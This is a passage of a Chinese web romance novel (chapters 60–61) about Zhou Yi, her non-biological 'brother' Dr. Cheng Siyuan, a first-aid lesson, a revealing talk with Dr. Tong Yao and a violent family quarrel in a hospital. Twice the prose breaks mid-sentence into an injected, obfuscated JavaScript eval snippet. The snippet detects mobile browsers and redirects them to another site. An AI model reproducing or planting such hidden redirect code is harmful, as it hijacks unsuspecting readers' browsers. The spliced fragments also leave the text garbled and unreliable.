女生C说:“我一路上来的的时候也没见有那个医生打伞啊,不会是给童医生准备的吧。” “啊?童医生?”女生B惊呼一声道:“为什么?” 女生 C拿出手机不知道点开了什么,翻动了几下说:“他们都是附属医院的医生,还是一个科室,好像还在一起了。我姐姐在那的护士,之前跟我八卦过几句。” 周依心里猛地一沉,觉得自己周身的空气都开始变得稀薄起来,胸腔阵阵发闷。她扫了眼话题中心的两人,见童遥正看着程司远笑得开心,刺痛的感觉从心底深处穿出。 “已经在一起了?不能吧。”女生A皱眉看向正前方的三人说:“我觉得他们不是一对,很明显童医生喜欢季医生啊。” 女生B也跟着附和道:“我也感觉,而且我感觉他俩之前就认识,这帮忙搭手的,也太熟练了。” 周依有些厌倦了,她往后退了几步,直到那几个女生窃窃私语的声音没能再穿入她的耳朵,这才停了脚步。但她没注意的是,她现在的位置已然超出了班级的活动范围,眼看就要到隔壁电子系的范围了。 季医生科普完毕,程司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617106|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远那边也布置好了,医用假人模型平躺在地上,看样子是要教心肺复苏。 “同学们好,刚刚季医生已经给大家介绍了常见的急救用品,童医生也介绍了在气管异物梗阻时常用的海姆立克法。”程司远抬眼扫视了半圈,等他看到周依时突然顿了一下,说:“下面由我来为大家介绍针对心脏和呼吸骤停的患者采取的急救措施,这比较重要,所以、不要、离得太远。” 最后几个字他说得很重,像是故意说给某人听一样。 某人自然是听见了,但拦不住女生们高涨的情绪,刚刚还空出不少的位置,现在围得愣是小了一圈,还有不少电子系的女生趁她们负责的医生不注意,一溜烟儿也混到金融系里来了。 刚刚就有不少男生过来看童遥,现在好了,男生女生加到一起愣是少了一半,负责电子系的肛肠科医生鼻子都被气歪了,拿着AED除颤仪讲了没几句就撂挑子不干了,朝着程司远说:“诶,程医生,你把这学生都叫去吧,我给你打下手得了。” “这跟我有什么关——” 程司远话说到一半,眼睛一瞟像是看到了谁,立即转口道:“那也行,那就麻烦王医生帮忙了。” “你!” 王医生气得差点儿当场来一次除颤仪实操,但没办法电子系的学生们似乎很满意这个做法,瞧瞧,正欢呼呢。 “不麻烦,应该的。”他叹了口气,对学生们说:“走吧,都别愣着了。” 电子系的学生们又是欢呼一声,争先恐后地就往金融系跑,生怕自己抢不到学习的绝佳位置,落在别人后头,还有几个跑得快的男生没注意地上滑差点儿摔倒。周依站的位置正好在他们的跑道上,吓得连连躲闪。 就这样,她一直从排球场边缘被挤到后面的乒乓球案旁才算安全。可就在她刚准备松一口气时,不知道从哪突然冒出来一个人撞了她一下。 霎时间,周依整个人都向一旁倒去,那人见状也急忙伸手去扶。但他反应太慢了,没等他碰到周依,周依就已经摔倒地,慌乱间乒乓球桌案角划伤了她的小臂。 撞人那男生连连道歉道:“对不起对不起,你太矮了,我没看见你,不好意思,你没事儿吧。” 说着,伸手就要扶周依起来。 但他刚弯腰弯了一半,周依就被不知道什么时候来到她身边的孟泽扶了起来,说:“诶哥们儿,怎么说话呢,分明自己眼神不好还非要说别人矮,有这个道理吗?” 那男生一听更羞愧了,说:“不是不是,我没那个意思,是我不会说话,不好意思,抱歉啊。” “怎么了,怎么了,这是发生什么事了?”王医生走了一半拐了回来问。 “没事儿,王医生。”孟泽看了看那满脸涨红的男生说:“这人走太急,撞到人了。” 他说完又低头问周依:“你没事吧,要不我带你去医务室看看?” 王医生走近了几分,看着周依小臂上淡淡渗出血的划痕说:“不用去医务室了,这么多医生随便那个都能包扎,费那个劲这都结痂了。” 他扬着下巴向前面点了点,说:“东西那都有,干脆紧急包扎实操吧,你们也能学学。” 周依一听,顿时傻了眼。她抬头看向程司远,见对方正皱眉看着自己,像是也想过来,但好在他们之间隔着人流太多了,不好过来。 周依觉得这就是天赐良机让自己溜走的机会,那可能听王医生的话乖乖过去,立马退后一步说:“不用了,我没事,这点儿小伤我去旁边坐一会就好了。王医生,你去忙吧,不用管我。” 说着,又后退一步,打算下一秒就往外走。 孟泽看了眼周依,像是读懂了她的内心想法,转头对锲而不舍的王医生道:“是啊王医生,你去忙吧,我跟她认识,有我陪着你放心。” 他给周依使了个眼色,周依立马领会,连连点头讪笑着说是。 王医生没办法,为了一大众人他也没时间去跟他们耗,点了点头算是同意了。 但人群之外的程司远却是脸黑了几度,他每往前走一步,下面的学生就围一下,眼看两人都打算转身离开,这才急得忍不住,压抑着心中即将喷薄而发的怒火,对不远处正跟季医生玩笑的童遥说:“童医生,麻烦过来一下。” 刚刚还在笑的童遥,顿时笑容僵在脸上,身上汗毛也不明觉厉得站立,机械地转头道:“怎、怎么了……程医生。” 真不怪她心悸,上次程司远这么零下八度的话说,还是她无意吐槽了一下他万年不变的手机壁纸,结果就是这活阎王仗着他助教的身份狠狠为难了一把她的作业,三四天她都没能睡好。 童遥脑子里把这几天的事都盘包浆了也不知道有哪里得罪了这活阎王,刚准备开口问呢,活阎王自己开了口,声音压低不少道:“帮我个忙。” 童遥边听边点头,见不是自己的原因心都放下不少,最后甚至挑了挑眉道:“放心,没问题。” 60.真相 周依和孟泽并排走着,到了体育馆门口他忽然站住,偏头问道:“对了,刚刚站队那会儿你要问我什么来着?” “奥,就是想问问你喜欢什么类型的女生。”周依坦然道。 孟泽耳根微微泛着红,不确定道:“你……问这个干嘛?” “不干嘛。”周依温吞道:“就是……就是随便问问,你可以理解为……理解为……” 她拉着嗓子拖了几秒,终于想到说:“你可以理解为是我作为你高中同学对你的关心,顺便帮你物色你可能的心仪人选,对、没错,就是这样。” 声音十分坚定,甚至把她自己都给说服力了。 孟泽梗着脖子摸了摸,尴尬道:“奥,这样啊,我还以为——” 他脸颊发红,话说了一半就被身后传来的声音给打断了。 “依依、依依。” 周依闻声转头,见来人不由诧异道:“童姐姐?” “刚刚没事吧,有哪受伤吗?”童遥快步踱到她身边说:“程司远不放心,让我来看看。” 周依刚伸出一半的手臂,听到她后半句又收了回来,将眼睛瞥向一边说:“你让他放心吧,我没事。” 话里酸溜溜的味道周依自己没感觉出来,但童遥却是听得一清二楚。 她眼皮动了一下,似乎觉得有趣,转头对一边的孟泽道:“同学麻烦你了,我陪周依去医务室就行,你先回去吧。” 孟泽看周依抿唇不语也没有挽留的意思,浅笑道:“不麻烦,应该的。” 他走了一步,忽然又顿住,瞥向周依开口试探道:“那……我先走了?” 周依下意识看了眼身边笑眯眯的童遥,蓦地又朝孟泽笑着点头道:“嗯,你先回去吧,谢谢你啊。” 童遥催促着对他挥了挥手,说:“好了好了,你回去吧,程医——哦、那个医生们都还等着你呢。” 孟泽应声答应,向体育馆内跑了几步又转头看了眼周依,见她和童遥也已经迈步离开,不免纳闷地挠了挠头。从刚刚开始他就觉得这两人怪怪的,像是话里藏着话,听得也是云里雾里。 “我想多了?” 孟泽嘴里嘟囔了一句,瘪瘪嘴又向体育馆内跑去。 路上,童遥慢悠悠地走着嘴角始终噙着笑,看着周依浑身难受,刚刚那股憋屈的感觉,这会儿又排山倒海地压了过来。 她顿住脚步道:“童姐姐要不你还是回去吧,我一个人去医务室就行。” “这可不行,你一个人去了我没办法交差啊。”童遥说。 周依下意识脱口而出道:“为什么?” 心里纳闷不止,难不成吴都大学校医院的指标还跟附属医院的医生有关?事有合作不成? “因为程司远啊。”童遥打断了周依脑子里无限歪歪。 她嘴角的笑意更浓,说:“他担心你,特意让我来看看,非要让我把你全模全样的带回去才行。” 周依觉得这笑容有些刺眼,别过眼快速地眨动了几下,也可能是这炽热的阳光照得眼睛发涩,压低声音道:“我不用他担心。” 说完,头也不回的就跑向不远处的医务室。 童遥喊了一声,但周依并没有停下的意思,反而越跑越快了。她叹息一声,只好快步追赶上去。 这时,就算童遥再迟钝、再心大也能意识到,自己好像……好心办了个坏事。 周依咬着嘴唇一路狂奔,直到跑到医务室才停了脚。她努力忍着眼睛里的婆娑,觉得丢人又狠狠伸手摸了一把。 不知道为什么只要遇到关于程司远的事情,她总是能丢盔弃甲,以往编制起来得心应手的面具,如今在他面前也显得破破烂烂、捉襟见肘。她就像七八年前那个不懂事的小孩儿,藏不住心底的喜欢,也抑不住翻涌的不甘。 她真的不想只是妹妹。 “依依你跑那么快干嘛?”童遥追了上来,扶着门框大口穿着粗气说:“哎呦,真是累死我了。” 周依以为医务室有人,想着先一步跑到地方随便找个医生要个创可贴就行。 可没想到这老破小的医务室居然一个人都没有,到头来还得要童遥帮忙处理。那她刚刚那举动,岂不是比动物园里的猴子还滑稽? 想到这,她又气又急,顿时尴尬的脸都红了,咬了咬牙,决定闭麦不答。 童遥绕过周依,到一旁的柜子上拿起了一个带有红色十字的盒子,她从里面拿过棉签沾了双氧水,说:“手给我吧,我看看。” 周依抬手将自己的胳膊递给她,微皱着眉头像是在怕疼。 童遥笑了一声道:“别担心,我轻点,不会很疼。” 周依紧抿着嘴唇没有说话,眼睛牢牢盯着那根即将触即自己伤口的棉签。上面双氧水在接触皮肤组织时瞬间产生出浓密的泡沫,轻微的刺痛感还是让她忍不住地缩了下手臂。 “别动。”童遥拉着她手臂,吹了吹说:“马上就好,再忍忍。” 周依将脸转向一边,心里有万般情绪在流转,这样外貌漂亮,性格温柔的女生没有人会不喜欢。程司远喜欢她,理所应当。 “依依,你最近是在躲程司远吗?” 童遥忽然的一声问话打算断了周依的思想,她连忙回过神,眼神慌乱急促道:“没有。” 说完又觉得心虚,立即补充道:“我没有躲他,我没事躲他干嘛。” 童遥听了但却是不信,眼睛转了转,平平淡淡又说了句:“可是程司远跟我说你闹矛盾了,有这回事儿?” 周依诧异万分,简直难以置信。在她印象里程司远总是冷着一张脸,有什么心事也只会憋在心里,心情不好的时候更是像个万年老冰块,任你怎么折腾,他连眼皮都不会抬一下。可现在…… 她垂下眼眸,痛楚密密麻麻布满了心脏,嘴角勾起一抹苦笑,答非所问道:“他……跟你说啊。” 声音里的哑涩和迟疑,让童遥更加确信自己的猜测。果然,误会了。 霎时间,童遥恨不得以头抢地尔,亏她还想着等两人在一起了,她就拍着胸脯跟程司远邀功,说自己帮了他大忙。江山社稷的,她可是肱骨之臣。 现在倒好,大忙变倒忙,江山马上成废墟。这程司远要是知道了,她估计小命不保,光是她老爹知道了就能把她腿打断。 童遥一个激灵,下意识拍了拍还健在的腿,讪笑道:“那个……依依啊,我觉得你好像误会什么了。我跟程司远,我们就是单纯的同事关系,非常单纯。” 她揉了柔鼻子,又说:“而且……刚刚的话也是我乱猜的,他什么都没跟我说过。” 周依一怔,猛地抬头看着她,意外道:“什么?” 童遥嘴里“啧”了声,伸手拿出藏在领口下的项链,上面还挂着一个吊坠,看着像是指环。她将项链取下递给周依,说:“你看,那上面有写东西。” 周依一时之间没反应过来,大脑还处于般宕机状态,懵懵地接过那条项链,听话的迎着在医务室的灯光看向指环。 那里面刻了一个半字,还但歪歪扭扭的,好像刻字者并不是很熟练,而且还是三分钟热度,觉得困难就立马放弃的性格。 她看向童遥,犹豫道:“这是……” 童遥笑了一声,伸手拿过项链,也迎着灯光看那指环里东倒西歪的一个半字,说:“原本是想刻季流年的,但刻了一半觉得太丑就放弃了。” “季流年。” 周依嘴里跟着念了一遍,忽然想到什么,睁大眼睛道:“季校医?” “嗯,是他。”童遥轻笑一声,边戴边说:“他比我大几岁,我们曾经一个学校,算是我的学长。 她顿了一下,又补充道:“也算半个老师。” 周依没有插话,就坐在一边静静地听着。 童遥重新将指环藏在领口下,继续说:“我大学是保送的,所以那时候性子傲、脾气也大,在学校里得罪了不少人。好在我小时候学过几天散打,虽然没多厉害,但自保还是没什么问题的。” 她忽然自嘲地笑了下,又道:“反正就被孤立了,最后期末的小组作业了没有一个人愿意跟我一组。但我也不屑跟她们一起,就想着自己完成。” “可谁知道那该死的作业是研究激素在亲密关系之间的变化,研究对象还必须是身边人。”她嗤笑道:“可我身边哪有人啊,当时程司远也还没来国外。我就想着随便编一组数据交上去应付得了,但没想到被季流年发现了。奥、对了,他当时是我们教授的助教。” “他那个人就喜欢多管闲事,本来就睁一只眼闭一只眼事儿非要卡着我不过,说必须要真实数据,不然就算我挂科。” 童遥陷入回忆,仿佛面对的就是当时难为人的季助教,她嘴角勾起一抹坏笑说:“我对他说,行,那你做我研究对象吧。” 周依听得认真,没忍住问道:“那他答应了?” 童遥嘴角扬了扬,嗯了一声道:“答应了,但我还是挂科了。” “为什么?”周依问:“是数据出问题了吗?” 童遥摇了摇头,说:“没有,数据很好。” “那是为什么?” “因为没做完。”童遥说:“实验做到最后,激素指标快要超过亲密值,在我几乎可以下定结论时,研究对象突然不见了。” 周依心里咯噔一下,说:“他……走了?” 童遥垂眸,苦笑一声道:“但……还是让我逮到了。” “你喜欢他?” “喜欢。” 童遥十分坦然,她看着周依道:“我来就是想确认他倒底喜不喜欢我,那份数据结果是否真实有效。” 周依陷入沉默,半晌没有说话,她原本以为自己知道童遥和程司远没有在一起会开心,但事实却没有,反而心脏像是被一张无形的巨手揉捏着,胀痛、酸涩。 两情相悦的场景她看着是难受,可现在童遥有喜欢的人了,那程司远不就是单恋了? 她知道这是什么感觉,真的……好苦。 “程司——不、我哥……我哥他不好吗?”周依问。 “他很好啊。”童遥说:“长得帅、能力强还专一。” “那你为什么——” 周依还没有说完,就被童遥打断道:“你喜欢他吗?” “啊?” 周依猛地从椅子上站起,心像是被悬在万米高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651052|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空,飘飘荡荡又惴惴不安,眼神闪躲道:“童姐姐,你不要开玩笑了、他、他是我哥。” 童遥也跟着站起来,正经道:“他不是,你们没有血缘关系,而且……” 她抿了抿唇,凑近一步压低声音道:“而且你们爸妈都没结婚,其实……你们完全可以在一起。” 周依大脑里像是有闪电经过,留下轰隆巨响在耳边倏然炸开。她猛然抬头看向童遥,惊道:“你怎么知道?” 童遥心里一空,没有回答她的问题,而是反问道:“你知道?” 惊愕占据了周依整张张脸,如果不是几个月前张舒欣告诉她,她估计一辈子都不可能知道,可童遥……为什么?那不成—— 她没有继续想下去,哪怕结果就在眼前,甚至就在嘴边。她不敢。 周依的胸口像是被压了块儿万斤巨石,肺部本就储存无几的氧气也尽数被挤压出气,自由垂落的双手微微颤抖,音节被卡在喉咙里半天发不出声,她努力了半天,最终也只是艰难地吞咽了下口水。 童遥看她这副样子心里也有了答案,她叹息一声,自顾自地说了起来:“程司远刚到国外的时候也是人生地不熟,我老爹就让他住到我们家了。他那个人你也知道,到哪儿都不跟人亲近,那时候他不是对着手机屏幕发呆,就是对着一个破盒子发呆。” “我觉得好奇,就仗着自己胆子大趁他出去偷偷把那盒子翻了出来。”她可能是觉得尴尬,看着周依揉了揉鼻子又讪笑几声,继续道:“其实里面也没什么,一堆零零散散的架子还有一张叠成方块儿的纸。” 周依眼睛跳了一下,没有说话,抿着唇继续听童遥说道:“那纸我刚拆开还没来得及看,程司远就回来了,吓得我赶紧塞回去,但还是被发现了。” 她突然笑了出来,继续道:“你都不知道,他当时脸都黑了,整整半年多都没有理我,我老爹知道这个事情罚了我整整一个月的社区服务,天天出门捡垃圾,别提有多累了。最后还是我死皮赖脸求着我老爹给我说好话,这程司远才开始跟我说话。” 周依安安静静地听着,表情并没有什么变化,只是心里莫名的觉得有些酸涩。她知道程司远向来都是刀子嘴豆腐心,正儿八经遇到时候也是会憋在心里硬扛,想来他一个人在国外的时候,应该也很艰难吧。 “之后跟他关系好点了才又找了机会问他,他说那是苏晴的死亡证明,一直藏着没让程毅找到。”童遥看着周依,收起了平素里习惯上扬的嘴角,一本正经道:“所以,他不是你哥。” 这一声声的话语,听得周依恍了神志。她呆愣愣的看着童遥,心里已然是掀起了惊涛骇浪,不断拍打着、呼啸着,直到将她那好不容易垒砌起来的堤防冲得溃不成军。 周依觉得自己的身体都在细细地抖动,耳边有无数个声音叫喊着、争先恐后地说着:程司远知道,他早就知道。 她喉咙上下攒动着,脑海里浮现出那之前童遥说过的话—— “我告诉你个秘密。” “程司远他有喜欢的人,而且你认识。” 所以,所以他是不是也…… 童遥见周依呆立在原地,忍不住出声叫道:“依依你怎么了,有在听我说吗?” 周依回了神,这才发现不知道什么时候自己眼眶里已经含满了薄雾,她快速眨动了几下,哑声道:“我没事,我在听,听到了。” 童遥轻叹一声道:“依依我再问你一遍,你喜欢——” 她话还没有说完,房门突然被人打开,但却是未见其人先闻其声:“童遥走了,医院有事。” 周依听到这声音心里骤然一紧,她转头看向门口,就见程司远眼神正慌乱看着她,但只对视一眼便匆匆瞥开。 可能程司远真得很急,也不顾后面童遥有没有听清,说完转身就想离开。可他身形刚动了一下忽然又顿住,眼睛停留在周依小臂那个创可贴上,低声道:“怎么样,还疼吗?” 童遥扫了两人一眼,眉毛轻挑,抬腿就向门外走,路过程司远时还带着笑意说了句:“那我先回医院看看。” 病房内,周依心脏狂跳不止,在这鸦雀无声的环境下显得尤为明显。她下意识将手臂往后藏了藏,后退一步,试图用距离掩盖自己胸腔里的吵闹。 “不疼,我没事。”她手指攥着自己衣角,眼睛也不敢直视程司远,偏侧着头说:“不是有事嘛,你先走吧。” 周依心虚极了,她不知道程司远是刚来,还是站了有一会儿了。 程司远刚刚声音急促,动作也慌乱,看起来确实是急匆匆赶来的才对,可他的呼吸好像却是出奇的平稳,没有半点儿喘息的感觉。 “下次小心点,别又摔伤了,我……我先走了。”他说。 周依始终没有看他,就只垂着头,抿唇“嗯”了一声。 可过了半晌,病房里依旧是寂静一片,该出现的脚步声迟迟没有出现,周依疑惑地抬头,却发现程司远还站在原地,完全没有要离开的意思,不由问道:“你不是要走吗,怎么……” 她声音渐小,说到最后已然是听不太清了。 程司远紧抿的嘴唇微微动了动,说:“别躲着我,好嘛?” 61.破相 霎时间,周依的心脏像是被弹性十足的橡胶锤砸了一下,随机又陷入一团柔软的棉花之中。她突然鼻尖发酸,觉得这一个多月的“收心”就像一场闹剧,滑稽、可笑、自欺欺人。 “嗯,不会了。”她说。 不知道是不是错觉,当程司远听到这句话时,他周身那被凝固的空气忽然四散开来,像是松了口气,说:“那我先走了,有空记得回信息。” 声音轻透又富有磁性。 周依抿唇轻轻点头,直到耳边的脚步声消失在远方,才倏地松了口气。她抬头看着那人的背影,嘴角像是摸满了蜜,甜的再也没能放下。 太阳西行,余晖映满天际,与远处泛黄的树叶连成一片,满眼金黄。 周依嘴角带着笑,脚下大步交替着小步,时不时踩在零星散落在地上枯叶,发出清脆声响,看起来十分愉悦的模样。 “诶,周依。” 南芳不知什么时候出现在周依身后,猛地跑过来道:“手怎么样,没事——” 她还没有说完,随即一顿,挑眉道:“呦,这么高兴,是发生什么好事了啊?” “说什么呢,哪有什么好事。” 周依脸颊微微泛红,不只是被吓到还是其他什么。但好在声音还算镇定,她晃了晃自己受伤的胳膊说:“我没事,就一点儿擦伤。对了,你怎么一个人来了,付一宁和王子珺呢?” “没事就行,我们刚去医务室没人,就猜你在这。”南芳指了指身后五十米开外的王子珺说:“她说她站太久肌无力都犯了,这会儿走不动路,看,还在后头悠着呢。” 她突然笑了起来,说:“就是你刚刚不在体育馆有点可惜,笑死我了。” 周依站在原地等身后的王子珺,听她这么说也来了兴致,问:“怎么了,是发生什么有趣的事了?” 南芳又捂着肚子大笑几声道:“你都不知道,今天孟泽有多惨,程医生就可着他一个人霍霍。奥、还有几个合班那会儿一直挤来挤去的男生,他们今天可惨了。” “啊?”周依听得一头无数,什么叫程司远可着孟泽一个人霍霍,难不成之前认识,结怨了不成? “我也不知道,反正当时程医生把要点讲完就安排人用假人模型实操,第一个就是孟泽。他当时这样说的——” 南芳学着程司远的模样,一板一眼道:“知识点说完了,我想大家都很聪明肯定都领会了,下面我挑一个眼熟的,让他给我们演示一下。” 她说着还假装巡视的看了一圈,突然顿住道:“你、就你吧,你来给我们展示一下今天的学习成果。” 但由于南芳实在是忍不住笑,又非要学程司远那副冷淡模样,这好好地一句话也被她说得阴阳怪气,听得周依忍不住笑起来。 南芳深吸一口气,缓了缓绷不住的嘴角道:“然后孟泽就从人堆里一脸懵地走了出来。” 她说着还学孟泽的表情,伸着头用手指着自己说:“我啊?” “对,就是你。”南芳又学程司远一幅冷淡模样说:“来中间,从头到尾来一遍,在你遇到身边人突然晕倒或昏迷应该怎么办。” 南芳活脱一个单口相声演员,孟泽附身般现场表演着,尤其把几次脑子卡壳不知道下一步该干什么的茫然表现的淋漓精致,简直要把周依笑得直不起腰。 “每次孟泽想不起来的时候,程医生都会阴阳说,看来这位眼熟同学不是记忆力不太好啊,这刚学过的怎么就想不起来了?或者就是说,现在记忆理就这么差,以后得老年痴呆症的几率可能会有点大,还得多注意。” 南芳抹了把笑出来的眼泪,继续道:“孟泽演示到一半实在是想不起来了,然后程医生就把他晾在一边,找了那几个挤人的继续演示。” “但那几个根本就没听,当时挤来挤去就是想凑到前面看童医生。”南芳抬着下巴朝周依手臂点了点说:“你受伤走了童医生不是跟着去了吗,那几个男生一开始准备溜走的,但被季医生抓了个正着,逃走是没戏了,就跟在后面划水,混时间。这一叫人演示,他们就傻眼了,愣是被程医生罚站了一排,然后我们问有没有人愿意把后半段演示完解救他们的,但我们哪敢啊,都安安静静站了一圈。” 周依实在是难以想象当时体育馆的样子,这一叫个不会叫一个不会,估计程司远的表情也还不到哪去,忍笑道:“然后呢,程医生又黑着脸讲了一遍?” “黑着脸?没有,他看起来比来的时候心情好。”南芳说:“最后是付一宁站出来把后半段演示完的,算是把那一排人解救了。” 周依惊讶道:“咱宁姐这么厉害呢。” 这时,身后那肌无力的王子珺慢慢悠悠飘了过来,对周依道:“那是,你可不要小看爱情的力量。” 说到这,周依才猛地反应过来,问:“对了、那付一宁呢,她怎么没跟你们一起?” 南芳挎着王子珺试图让她走快点,对周依说:“她啊,还在体育馆呢。” “啊?”周依问:“为什么,不都结束了吗?”。 “害,可能是男人所谓的面子吧。”王子珺说:“那几个人被晾了心里过意不去,非要让付一宁教会他们,真累啊。” “确实。”南芳也跟着搭腔道:“不过她也开心,那不是还有孟泽吗,虽然不是独处但好歹能相处啊,说不定人家就发现我们家一宁的好了呢。” 周依也跟着点头称是,心里不由觉得付一宁勇敢,如果换做她—— “对了,这个给你。” 周依刚想到一半就被南芳出声打断,见她突然拽过身后的小包,从里面掏出一把太阳伞说:“程医生走的时候给的,说让我还你。” 周依一愣,伸手接过,垂眸看着手里被折的整整齐齐的太阳伞,抿了抿唇轻声道:“奥,谢谢啊。” 一边的王子珺闻着八卦味儿就来了,戳了戳周依问:“诶诶诶,这程医生是怎么回事啊?快、坦白从容抗拒从严。” 南芳也跟着拱火道:“就是就是,怎么回事啊,就简简单单是曾经邻居这么简单吗?” “邻居?”王子珺睁大眼睛道:“你们之前是邻居?要是我有这么帅的邻居,我这辈子都不能搬家。” 周依被说得有点尴尬,揉了揉鼻子快走了两步道:“是他搬家的,又不是我。” “诶诶,别走那么快啊。”南芳跟了上来问:“那你们现在还有联系吗,之前也没听你提起过啊,这不会是久别重逢吧?” 刚刚还肌无力的王子珺这会儿跟打了鸡血似的,麻溜就跟了上来,问:“还有还有,他多大啊,有喜欢的人吗?” 周依狐疑地看了两人一眼,尤其对王子珺说:“南芳很正常,但你不是对活这的生物不感兴趣吗?” 王子珺讪笑两声,跑到周依左边和南芳成左右夹击模式,说:“哎呀,这么帅的帅哥除外。别在意那些细节,你快说说呗,满足一下我们的好奇心。” 周依无语的满头黑线,觉得纸终究包不住火,咬了咬唇犹豫道:“其实,他从某种含义上来说,是我哥,我们之前住在一起。” “啊?” “什么?” 王子珺惊讶的下巴恨不得掉地上,但还好南芳接受能力较快,又立即问道:“那为什么说是从某种含义上?还有,邻居怎么回事,而且我那会儿也没见你叫他哥啊?” 周依一脸复杂,嘴巴张了张竟不知道该怎么解释,半天才憋出了一句:“这事儿有点复杂。” “那就化繁为简。” 南芳说完又与王子珺对视一眼,两人又异口同声道:“长话短说。” 周依尴尬得直咧嘴,看面前黑白双煞的模样,心里挣扎了几秒,但最后还是认命般解释起来…… 程司远到了医院就直奔病房,他那时打断童遥说医院有事并不是假话,在去找周依的路上他就收到信息,说吴妍指标异常,突然昏迷不醒了。 “病人现在怎么情况?”程司远边走边问。 “急救后还未苏醒,指标依旧异常。”护士见报告单递到他手里道:“刚刚检查过糖类抗原724、199、125均超标,主任看过了,说确诊结肠癌。” 程司远猛刹住脚,问:“之前不是说手术后就安排患者再做一遍检查吗,为什么晕倒了才做?” 护士一下语塞,支吾道:“患者不配合,我嘛也没办法。” “不配合?是抗拒——” 程司远还没有说完,就被不远处的一阵吵闹声吸引了注意。他循声望去,见赵乐仪正推搡着一个男人向病房外赶,嘴里还大声叫骂着:“你赶紧滚,我妈刚醒你就来要钱,你还是不是人!” 那被推搡的男人也不甘示弱,甚至理直气壮道:“吴妍她活不久了,在这浪费什么钱,上次手术就花了不少,你看看有用吗?不还是活不了!” “赵文山我去你的,要不是你趁我不在把我妈的钱都骗走,我妈能错过治疗时间昏迷不醒吗?”赵乐仪一个用力将赵文山甩的踉跄几步,继续道:“我告诉你,我那钱就是烧了也不可能给你一分。” 赵文山气的眼睛都红了,不知道从哪来得力气一下子扑向赵乐仪,骂道:“我他妈是你老子,你敢这么跟我说话?那钱他妈的也是我的救命钱。” 赵乐仪紧咬着牙关没有说话,伸手就是一拳,结结实实砸在赵文山脸上。赵文山啐了一口,也握紧拳头朝招乐仪脸上砸,嘴里污秽连篇,不堪入耳。 顿时,整个医院走廊都充斥着两人的打骂声,程司远紧皱着眉,将手里的文件夹塞给身边护士,快步上前将两人扯开。 两人体格都不算小,但赵乐仪可能是顾虑到对方是年纪不小了,或者心里还念及父子之情,虽说挥拳到肉,但力气却收了不少。 然而赵文山却相反,可能就是仗着赵乐仪不敢用力,就使了劲得打,也不知道他小拇指上戴了个什么,看起来像是个自制的铁指套,一拳挥下去,眼看就到打到赵乐仪的眼睛。程司远眼疾手快,急忙上前伸手替将他遮挡。 但谁知道赵文山这一拳就像是不要命一般,力气更是大得出奇。 程司远手被打开,在缓冲之下拳头还是结结实实砸了下来,那并不光滑的铁指套紧擦着他的脸颊,留下一道血痕。 “程医生!”护士惊喝一声,往前跑了几步又忽然停下,转身下了楼。 原本零零散散在走廊里偷偷关注的人,见这幅场面也吓得往后缩了缩。 程司远踉跄一步站稳身体,赵文山发现打错了人也突然慌张起来,眼神闪躲着但嘴上依旧不饶人道:“这可不是我要打你的,没事干了非要往人拳头底下跑。我告诉我你,我一分钱没有,想要讹钱你找他们。” 说着,还用下巴朝赵乐仪和他身后的病房点了点。 赵乐仪见程司远突然出现在面前也有点懵,但听到对面人的话又立马反应过来,怒不可遏道:“你畜生!” 他话音刚落挥起拳就要再次准备扑向赵文山,但好在被程司远一把拦住,厉声道:“这里是医院,都冷静点。” 赵文山脸上也挂了不少彩,本来就仗着不服理还不要脸的劲儿在这耍威风。现在见赵乐仪又伸手挥拳,下意识向后缩 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赵文山不以为然,冷笑道:“你们没有把病看好,就把这罪名按到我头上?医生都是好手段啊。” 他略过程司远,上前一步对赵乐仪说:“我劝你还是趁早给吴妍办出院手续,她的保险还在我手上。她死了,问题就都解决了,我也不会再问你要钱。” 这句话就像是压死骆驼的最后一根稻草,赵乐仪双眼通红彻底失去理智,越过程司远结结实实给赵文山来了一拳,骂道:“他妈的畜生,不是人的东西,我打死你!” 围观众人不断发出惊呼,眼看两人又要扭打在一起,不少胆大的人见状也想帮忙。然而他们还没开始行动,就忽然被走廊远处传来的一道声音,喊得停住了步伐。 “住手住手!别打了!都住手!” 原本偷偷躲在病房门后的患者和陪护也好奇地趴在门口张望,蓦地就见一位护士领着四五个保安走了过来。 赵文山看到有来人了,顿时嚣张的气焰熄了不少,他将赵乐仪推向一遍,眯眼看着程司远道:“她活不久了,你也救不了她。” 程司远上前一步,微抬着下巴,冷声道:“跟阎王抢人,我还没输过。” 这时,保安急匆匆赶了过来,将赵文山包围成圈道:“请非陪护人员出去,跟我们走。” “医院保持安静,快走。” 赵文山冷哼一声,隔着人墙瞥了眼赵乐仪又看向程司远,眼神在他白大褂挂着的胸牌停留一瞬,说:“别说得这么大义凛然,等他们没钱了,你们还给治吗?” “快走。”保安催促道:“要再闹事,我们就报警了。” 说着,几个保安簇拥着赵文山离开了医院长廊,同样刚刚两侧病房里还够着头吃瓜的老少门,见演出结束也兴致恹恹地将头缩了回去。 赵乐仪见周围目光消散,倏地颓废叹了声气,瞬间愁容满面,看着程司远抱歉道:“对不起啊程医生,我爸、他,他给你添麻烦了。” “不用道歉,这不是你的问题。”程司远说:“如果治疗有困难就告诉我们,你放心医院有相关政策,绝对不会坐视不管的。” 一旁的护士也点头附和道:“是啊,你放心吧。再说了,我们程医生的医术绝对没——” 她话没有说完,又蓦地改口惊呼道:“呀、程医生你怎么受伤了?都流血了,要不还是先去消毒处理一下吧。” 